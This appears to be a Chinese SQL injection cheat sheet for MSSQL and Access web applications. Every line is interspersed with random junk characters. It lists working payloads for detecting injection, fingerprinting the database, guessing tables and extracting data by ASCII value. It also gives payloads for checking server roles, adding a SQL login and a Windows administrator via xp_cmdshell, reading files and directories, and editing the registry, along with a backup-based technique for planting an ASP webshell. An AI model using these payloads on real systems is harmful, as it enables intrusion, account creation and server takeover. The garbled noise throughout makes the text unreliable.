1.判断是否有注入;and 1=1 ;and 1=2
'*Y mYU
2.初步判断是否是mssql ;and user>0 Z=-#{{bv
w#9.U7@.
3.注入参数是字符'and [查询条件] and ''=' f|~'(~Sr
=X'EDw
4.搜索时没过滤参数的'and [查询条件] and '%25'=' `ci
P
Onqapm0
5.判断数据库系统 n\Is}Czl
LGy62 y$
;and (select count(*) from sysobjects)>0 mssql 0e>?!Z
E
TH4f"h+B3"
;and (select count(*) from msysobjects)>0 access B_Wig2xH0
';.TQ_I7Y
hK4ww"-
=:T"naY(
6.猜数据库 ;and (select Count(*) from [数据库名])>0 EO'+r[Y
9J%O$sF
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Q +hOW-
br0\O
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 +
,]&&
xz@*V>QT
9.(1)猜字段的ascii值(access) ly!3~W
K&._fG
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 bg3kGt0
c5f57Z
(2)猜字段的ascii值(mssql) 49/2E@G4.
aEQrBs
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 LU*mR{B
vIi&D;
10.测试权限结构(mssql) QN;NuDHN
i{:?Iw 'ay
3|e~YmZx
9&kY>M>z0
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- :1'1n
x2~fc
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- r_ 9"^Er
'lC=k7@x
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- (
K-7z
o}36bi{
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- z4.|N
tm34Z''.>
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- mFpj@=^_G
[PrJf"Z "
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- -[=@'NP
/;TD n>lq
;and 1=(select IS_MEMBER('db_owner'));-- %LdBO1D0
VKXB)-'L
"
d~M\Az
r+]a
11.添加mssql和系统的帐户 BR6HD7G
z,qNuv"W
;exec master.dbo.sp_addlogin username;-- ?fU{?nI}>p
;exec master.dbo.sp_password null,username,password;-- $ ga,$G
2Sy:wt
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- qyE*?73W
h9A=20fj
;exec master.dbo.xp_cmdshell 'net user username password _n*gj-
'+|uv7|+v
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- <+ <o
X"I
@ bvWqMa
;exec master.dbo.xp_cmdshell 'net user username password /add';-- {dl@#Tu
EA:_PBZ
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- s0Y7`uD^
!vr
A\d
,({%t
IOrYm
12.(1)遍历目录 iee`Yg!EOH
0,LUi*10
;create table dirs(paths varchar(100), id int) 8r.MODZG/
F
j"]C.6B.
;insert dirs exec master.dbo.xp_dirtree 'c:\' @bFl8-
F>u/Lh!
;and (select top 1 paths from dirs)>0 '~6l
6wi
SZgan
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) +I~U8v-
tN)Vpb\J
'#r^W2
a- /p/
I-%
(2)遍历目录 n 8|
/X\:3P
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- e+MsFXnB8
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 .fzns20u
+zFEx%3^
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 RoD9
z\IZ5'
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ,+_gx.H2j
>&qaT*_g
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3A b_Z
:rmi8!o
_ZuI x=!
3t ]0
13.mssql中的存储过程 SMm$4h R
oW/H8 q<wY
xp_regenumvalues 注册表根键, 子键 6nk.q|n:g
oA
]F`N=
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 # f{L;
jAFJ?L(
xp_regread 根键,子键,键值名 7mS_Cz+cB
-uK@2}NZ
;exec xp_regread ubi6=
Gc!&I+kd
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 '^t(=02J
2f0_Xw_V_
xp_regwrite 根键,子键, 值名, 值类型, 值 | i'w"Tz4
Ef6LBNWY.
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 hniTMO
qQ<7+z<4KP
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ]n|lHZR
,6\oT;G
xp_regdeletevalue 根键,子键,值名 Mw $.B#
?Qh[vcF7`
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 SL%
Ec%9Y
h6gtO$A|p=
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ]FO)U
xHwcP2 1
A `=.F
u&Y1,:hiL
14.mssql的backup创建webshell C'0=eel[
.$-%rU:*}
use model 1\Vp[^#Vx
7y>{Y$n
create table cmd(str image); N%8aLD
*&yt;|y
insert into cmd(str) values (''); [IuF0$w=dj
|G>Lud
backup database model to disk='c:\l.asp'; a`QKNrA2
m[*y9A1
2k""/xMF'
cX-)]D
15.mssql内置函数 /SYzo4(
[;i3o?\_I
;and (select @@version)>0 获得Windows的版本号 ,G(bwE9~
u*H
V
;and user_name()='dbo' 判断当前系统的连接用户是不是sa c"@,|wCUi
c:G0=5
;and (select user_name())>0 爆当前系统的连接用户 'ZQR@~G
QW"BGg~6c
;and (select db_name())>0 得到当前连接的数据库 0\^K\J,.
?9AtFT
ig,v6lqhM
?t];GNU`l
16.简洁的webshell xYWg1e$k
E./Gt.Na
use model )SFyQ
oQ8If$a}
create table cmd(str image); Dmv@ljwO
0_-NE4SM/
insert into cmd(str) values (''); %Nm69j-5%
be{t yV
backup database model to disk='g:\wwwtest\l.asp';